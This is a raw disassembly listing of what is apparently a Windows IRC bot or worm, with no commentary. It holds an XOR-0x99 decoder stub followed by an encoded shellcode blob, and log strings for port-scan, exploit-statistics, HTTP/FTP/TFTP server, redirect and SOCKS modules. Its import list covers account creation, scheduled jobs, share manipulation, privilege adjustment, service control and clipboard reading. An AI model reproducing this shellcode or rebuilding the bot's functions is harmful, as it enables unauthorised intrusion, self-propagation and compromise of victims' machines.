		dd 2 dup(1), 61h, 0
		dd 53410000h, 4Eh, 6 dup(0)
		dd 1BDh, 40247Ch, 0
		dd 2 dup(1), 316E7361h,	6E626D73h, 736D0074h, 30343630h
		dd 6 dup(0)
		dd 1BDh, 403548h, 0	; CODE XREF: sub_425C12:loc_425C27j
		dd 2 dup(1), 0Fh dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_425C22

; =============== S U B	R O U T	I N E =======================================



sub_425C12	proc near		; CODE XREF: sub_425C12:loc_425C22p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_425C1A:				; CODE XREF: sub_425C12+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_425C1A
		jmp	short loc_425C27
; ---------------------------------------------------------------------------


loc_425C22:				; CODE XREF: seg001:00425C10j
		call	sub_425C12


loc_425C27:				; CODE XREF: sub_425C12+Ej
		jo	short near ptr dword_425BC0+2
		cwde
		cdq
		cdq
		retn
sub_425C12	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_405F18+81o
		align 4
aSD		db ' %s: %d,',0         ; DATA XREF: sub_405F18+42o
		align 10h
unk_425DB0	db    2			; DATA XREF: sub_405F18+11o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	70h, 6Fh
		db  72h	; r
		db 74h,	73h, 63h
		db  61h	; a
		db 6Eh,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aExploitStatist	db 'Exploit Statistics:',0
unk_425DE4	db    2			; DATA XREF: sub_405FE2+42o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	70h, 6Fh
		db  72h	; r
		db 74h,	73h, 63h
		db  61h	; a
		db 6Eh,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aScanNotActive_	db 'Scan not active.',0
		align 4
unk_425E18	db    2			; DATA XREF: sub_405FE2+2Co
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	70h, 6Fh
		db  72h	; r
		db 74h,	73h, 63h
		db  61h	; a
		db 6Eh,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCurrentIpS_	db 'Current IP: %s.',0
unk_425E48	db    2			; DATA XREF: sub_406059+36Fo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	68h, 74h
		db  74h	; t
		db 70h,	64h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStartS	db ' Failed to start server, error: <%d>.',0
		align 4
unk_425E8C	db    2			; DATA XREF: sub_406059+307o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	68h, 74h
		db  74h	; t
		db 70h,	64h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aServerListenin	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_425ED8	db    2			; DATA XREF: sub_406059+267o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_0	db '  Failed to start server, error: <%d>.',0
unk_425F18	db    2			; DATA XREF: sub_406059+1FAo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aServerStartedO	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 4
unk_425F68	db    2			; DATA XREF: sub_406059+149o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	74h, 66h
		db  74h	; t
		db 70h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_1	db 'Failed to start server, error: <%d>.',0
		align 4
unk_425FAC	db    2			; DATA XREF: sub_406059+DBo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	74h, 66h
		db  74h	; t
		db 70h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerStarte_0	db 'Server started on Port: %d, File: %s, Request: %s.',0
		align 4
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_406435+38o
					; sub_408A5D+46o
unk_426008	db    2			; DATA XREF: sub_40656E+EBo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	70h, 6Fh
		db  72h	; r
		db 74h,	73h, 63h
		db  61h	; a
		db 6Eh,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_426044	db    2			; DATA XREF: sub_40656E+93o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	70h, 6Fh
		db  72h	; r
		db 74h,	73h, 63h
		db  61h	; a
		db 6Eh,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_426090	db    2			; DATA XREF: sub_406782+1CEo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	70h, 6Fh
		db  72h	; r
		db 74h,	73h, 63h
		db  61h	; a
		db 6Eh,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_4260E4	db    2			; DATA XREF: sub_406782+173o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	70h, 6Fh
		db  72h	; r
		db 74h,	73h, 63h
		db  61h	; a
		db 6Eh,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_2	db 'Failed to start worker thread, error: <%d>.',0
unk_426130	db    2			; DATA XREF: sub_406782+103o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	70h, 6Fh
		db  72h	; r
		db 74h,	73h, 63h
		db  61h	; a
		db 6Eh,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_426178	db    2			; DATA XREF: sub_406782+87o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	70h, 6Fh
		db  72h	; r
		db 74h,	73h, 63h
		db  61h	; a
		db 6Eh,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 10h
unk_4261C0	db    2			; DATA XREF: sub_4069E1+156o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	72h, 65h
		db  64h	; d
		db 69h,	72h, 65h
		db  63h	; c
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartC	db ' Failed to start client thread, error: <%d>.',0
		align 10h
unk_426210	db    2			; DATA XREF: sub_4069E1+E1o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	72h, 65h
		db  64h	; d
		db 69h,	72h, 65h
		db  63h	; c
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aClientConnecti	db ' Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_426268	db    2			; DATA XREF: sub_406B69+1AAo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	72h, 65h
		db  64h	; d
		db 69h,	72h, 65h
		db  63h	; c
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_3	db ' Failed to start connection thread, error: <%d>.',0
		align 4
unk_4262BC	db    2			; DATA XREF: sub_406B69+E1o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	72h, 65h
		db  64h	; d
		db 69h,	72h, 65h
		db  63h	; c
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aClientConnec_0	db ' Client connection to IP: %s:%d, Server thread: %d.',0
unk_426310	db    2			; DATA XREF: sub_406DED+1B2o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	73h, 6Fh
		db  63h	; c
		db 6Bh,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStar_4	db ' Failed to start server on Port %d.',0
unk_426350	db    2			; DATA XREF: sub_406DED+18Fo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	73h, 6Fh
		db  63h	; c
		db 6Bh,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStar_5	db ' Failed to start client thread, error: <%d>.',0
		align 4
unk_42639C	db    2			; DATA XREF: sub_406DED+114o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	73h, 6Fh
		db  63h	; c
		db 6Bh,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aClientConnec_1	db ' Client connection from IP: %s:%d, Server thread: %d.',0
		align 10h
unk_4263F0	db    2			; DATA XREF: sub_406DED+A8o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	73h, 6Fh
		db  63h	; c
		db 6Bh,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aServerStarte_1	db ' Server started on: %s:%d.',0
		align 4
unk_426428	db    2			; DATA XREF: sub_406FF2+1F9o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	73h, 6Fh
		db  63h	; c
		db 6Bh,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aErrorFailedToC	db ' Error: Failed to connect to target, returned: <%d>.',0
		align 4
unk_42647C	db    2			; DATA XREF: sub_406FF2+18Ao
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	73h, 6Fh
		db  63h	; c
		db 6Bh,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aErrorFailedToO	db ' Error: Failed to open socket(), returned: <%d>.',0
		align 4
unk_4264CC	db    2			; DATA XREF: sub_406FF2+F2o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	73h, 6Fh
		db  63h	; c
		db 6Bh,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAuthentication	db ' Authentication failed. Remote userid: %s != %s.',0
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_4073B6+B8Co
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_4073B6+B7Fo
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_4073B6+B72o
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_4073B6+B65o
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_4073B6+B58o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_4073B6+B50o
		align 10h
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_4073B6:loc_407EF9o
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_4073B6+B0Eo
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_4073B6+B06o
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_4073B6:loc_407EAFo
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4073B6+AB4o
		align 10h
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4073B6+AA7o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_4073B6+A9Ao
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_4073B6+A92o
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_4073B6:loc_407E3Bo
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4073B6+A50o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_4073B6+A48o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_4073B6:loc_407DF1o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4073B6+A06o
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4073B6+9FEo
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_4073B6:loc_407DA7o
		align 10h
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_4073B6+974o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_4073B6+967o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_4073B6+95Ao
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_4073B6+94Do
		align 10h
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_4073B6+940o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_4073B6+933o
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_4073B6+926o
		align 10h
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4073B6+919o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_4073B6+90Co
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_4073B6+8FFo
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_4073B6+8F7o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_4073B6:loc_407C9Co
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_4073B6+8A9o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_4073B6+89Co
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_4073B6+894o
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_4073B6:loc_407C3Do
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4073B6+85Ao
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_4073B6+7E8o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_4073B6+7DBo
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_4073B6+7CEo
		align 10h
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_4073B6+7C1o
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_4073B6+7B4o
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_4073B6+7A7o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_4073B6+79Ao
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_4073B6+78Do
		align 10h
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4073B6+780o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_4073B6+778o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_4073B6:loc_407B1Do
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_4073B6+62Eo
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_4073B6+621o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_4073B6+614o
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_4073B6+607o
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_4073B6+5FAo
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_4073B6+5EDo
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_4073B6+5E0o
		align 10h
aAccept		db 'accept',0           ; DATA XREF: sub_4073B6+5D3o
					; seg001:0042A780o
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_4073B6+5C6o
		align 10h
aSelect		db 'select',0           ; DATA XREF: sub_4073B6+5B9o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_4073B6+5B1o
		align 10h
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_4073B6+59Fo
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_4073B6+592o
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_4073B6+585o
		align 4
aSend		db 'send',0             ; DATA XREF: sub_4073B6+578o
					; sub_40CC09+1E2Bo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_4073B6+56Bo
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_4073B6+55Eo
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_4073B6+551o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_4073B6+544o
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_4073B6+537o
		align 10h
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_4073B6+52Ao
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_4073B6+51Do
					; seg001:0042AB90o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_4073B6+510o
aSocket		db 'socket',0           ; DATA XREF: sub_4073B6+503o
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_4073B6+4F6o
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_4073B6+4E9o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_4073B6+4DCo
		align 10h
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_4073B6+4CFo
		align 10h
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_4073B6+4C2o
		align 10h
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_4073B6+4B5o
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_4073B6+4ADo
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_4073B6+49Co
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_4073B6+429o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_4073B6+41Co
		align 10h
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_4073B6+40Fo
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_4073B6+402o
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_4073B6+3F5o
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_4073B6+3E8o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_4073B6+3DBo
		align 10h
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_4073B6+3CEo
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_4073B6+3C6o
		align 10h
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_4073B6:loc_40776Bo
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_4073B6:loc_407743o
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4073B6+335o
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_4073B6+328o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_4073B6+31Bo
		align 10h
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_4073B6+30Eo
		align 10h
aControlservice	db 'ControlService',0   ; DATA XREF: sub_4073B6+301o
		align 10h
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_4073B6+2F4o
		align 10h
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_4073B6+2E7o
		align 10h
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_4073B6:loc_407695o
		align 10h
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4073B6+2AFo
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4073B6+2A2o
		align 10h
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_4073B6:loc_407650o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_4073B6+252o
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_4073B6+245o
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_4073B6+238o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_4073B6+22Bo
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_4073B6+21Eo
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_4073B6+216o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_4073B6:loc_4075BBo
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_4073B6+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_4073B6+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_4073B6+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_4073B6+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_4073B6+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_4073B6+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_4073B6+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_4073B6+14Ao
		align 10h
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_4073B6:loc_4074EBo
					; sub_41CA11+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_4073B6:loc_4074BEo
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4073B6+A0o
		align 10h
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4073B6+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_4073B6+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_4073B6+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4073B6+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4073B6+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_4073B6+52o
		align 10h
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_4073B6+45o
		align 10h
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_4073B6+38o
		align 10h
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4073B6+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_4073B6+23o
		align 4
aKernel32_dll_0	db 'kernel32.dll',0     ; DATA XREF: sub_4073B6+Ao
		align 4
unk_426D5C	db    2			; DATA XREF: sub_407F9F+2BEo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	63h, 6Fh
		db  72h	; r
		db 65h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aDllTestComplet	db 'DLL test complete.',0
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_407F9F+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_407F9F+264o
		align 10h
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_407F9F+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_407F9F+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_407F9F+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_407F9F+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_407F9F+160o
		align 10h
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_407F9F+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_407F9F+F8o
